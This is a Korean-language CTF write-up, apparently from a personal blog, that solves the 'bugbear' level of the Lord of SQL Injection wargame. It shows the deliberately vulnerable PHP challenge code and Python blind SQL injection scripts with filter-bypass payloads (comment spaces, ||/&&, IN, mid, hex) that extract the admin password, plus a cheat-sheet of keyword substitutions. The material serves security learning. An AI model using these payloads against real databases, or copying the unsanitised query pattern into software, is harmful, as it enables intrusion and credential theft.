R136A1

[LOS] 13. bugbear :: blind SI 본문

WEB SECURITY/SQL Injection

[LOS] 13. bugbear :: blind SI

r136a1x27 2021. 9. 18. 07:07
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

PART1

제약조건

no 파라미터에 작은따옴표('), =, substr, ascii, =, or, and, 공백, like, 0x 못씀 (대소문자 상관없이)

ㄴdarknight에서 달라진 점

pw 파라미터에 작은따옴표(') 못씀 = 뒤 함수를 제약하지 못함 → no에 exploit해야 함

 

select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}

Hello {$result[id]} 로 쿼리의 결과 확인 가능

 

연산자 순서가 and -> or 순서이기때문에 no에서 or 조건을 추가하면 앞의 조건들을 다 무시할 수 있다

ex) 1 and 0 and 1 or 1  → 뭐든 __ or 1  → 항상 참

- - - - - - - - - - - -

PART2

추가 제약조건

pw 파라미터에 addslashes 함수 적용 → 주로 쿼리 전달 전에 쓰여서, ' " \ null 값을 \' \" \\ \null 로 replace한다.

이렇게 생성된 SQL문을 실행시키면, \' \" \\ 등의 값이 문법이 아닌 '문자'로 해석된다.

select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'

 

result['pw'] == $_GET['pw'] 이므로 일반적인 SQL injection로는 알아낼 수 없다.

length, mid와 같은 함수를 통해 특정 정보를 추출해낼 수 있는 blind SQL Injection이 필요

→ 참, 거짓을 통해 확인할 수 있는 환경 갖춤 → Blind 맞음

 

문제 풀이의 목적은 여기이다. admin의 패스워드를 알아내는 것

 


달라진 점이 no 밖에 없기 때문에 페이로드 구성만 손봐주면 될 것 같다.

 

먼저 GET LENGTH에서 like를 < 로 바꿔서, {len} 미만 조건으로 바꿀 경우,

length(pw)<0,1,2,3,...

0~길이 까지는 조건을 만족하지 못하므로 처음으로 "Hello admin"이 나오는 {len}에서 1을 뺀 것이 길이가 된다.

 

역으로 > 이 된다면, length(pw)>0,1,2,3...이므로

0~길이-1 까지만 조건을 만족하므로 

if not "Hello admin" in res.text 에서 잡은 그 {len}이 그대로 길이가 된다.

 

# --------GET LENGTH---------#
for len in range(99):
    query = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/</**/{len}/**/#"
    params = {'no': query}
    res = requests.get(url, cookies=cookies, headers=headers, params=params)
    print(res.url)
    # print(res.raise_for_status)
    if "Hello admin" in res.text:
        print(f"[+] Get Password length : {len}")
        break

GET PASSWORD의 경우

or 문이 포함되어 있으므로 || 로, 여기서 의도치않게 ord 함수도 걸리므로 hex()로 변경하고, {j}에도 hex()를 적용한다.

and 문이 포함되어 있으므로 && 로, (*주의. &을 대체할 때는 예약어이기때문에 URL encoding해야 함)

ㄴ아래와 같이 requests.get의 인자인 params 형태로 넘겨주면 자동으로 encoding해서 쿼리를 보낸다.

query = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/</**/{len}/**/%23"
params = {'no': query}
res = requests.get(url, cookies=cookies, headers=headers, params=params)

like(=) 문이 포함되어 있으므로 칼럼명 IN(값1, 값2...)으로 대체한다.

(GET PASWWORD 부등호는 사용하기 어려움. 이처럼 구문의 앞뒤에 따라 상황마다 다르게 적용한다.)

 

pw=""
for i in range(1, len + 1):  # pw의 길이만큼 반복 1부터 len까지
    for j in range(ord('0'), ord('z')):  # 0-9, a-z, A-Z까지의 ASCII코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
        # print(j)
        query = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/hex(mid(pw,{i},1))/**/in/**/(hex({j}))/**/#"
        params = {'no': query}
        res = requests.get(url, cookies=cookies, headers=headers, params=params)
        # print(res.raise_for_status)

        if res.text.find('Hello admin') != -1:
            pw += chr(j)
            print(f"[*] Finding... : {pw}")
            break

print(f"[+] Found Password : {pw}")
  • 공백 → \n, %0a, %0c, %0b, /**/, %09
  • 등호(=), LIKE → between함수, instr 함수, IN 연산자 칼럼명 in(값1, 값2), 부등호(<, >)
  • 싱글 쿼터(') → 더블 쿼터(")
  • ascii 함수 == ord 함수 (문자 to ASCII)
    대체제: 1) hex 함수
              2) chr 함수 (ASCII to 문자)
    (주의. 비교되는 값도 ascii, ord, hex가 적용된 값이어야 한다.)
  •  
  • substr 함수 → mid 함수, right(left())함수
  • OR → ||
  • AND → && (URL Encoding: %26%26)
  • 문자열 검색 함수
    locate(‘a’,’abc’)
    position(‘a’,’abc’)
    position(‘a’ IN ‘abc’)
    instr(‘abc’,’a’)
    substring_index('ab','b',1)
    →ex) ord(right(left(pw, {i}), 1)) like {j} 를 instr(left(pw, {i}), {pw+j}) 로 변경
  • 문자열 비교 함수 
    strcmp('a','a')
    mod('a','a')
    find_in_set('a','a')
    field('a','a')
    count(concat('a','a'))

최종 페이로드

?pw=52dc3991

sql injection은 문제 풀면서 기본적인 것을 기준으로 먼저 페이로드를 구성해보고 (, and, or, substr, =...)

그게 막히는 조건이 있을 때 하나씩 바꿔보는 식으로 하는 것이 일관성있을 것 같다.

 

그리고 완전히 같은 함수, 연산자는 없을 것이다... 추후 = 와 like의 차이를 잘 알아보자

'WEB SECURITY > SQL Injection' 카테고리의 다른 글

[LOS] 15. assassin :: blind SI  (0) 2021.09.19
[LOS] 14. giant :: SI  (0) 2021.09.18
[LOS] 12. darknight :: blind SI  (0) 2021.09.17
[LOS] 11. golem :: blind SI  (0) 2021.04.27
[LOS] 7. orge :: blind SI  (0) 2021.04.26
Comments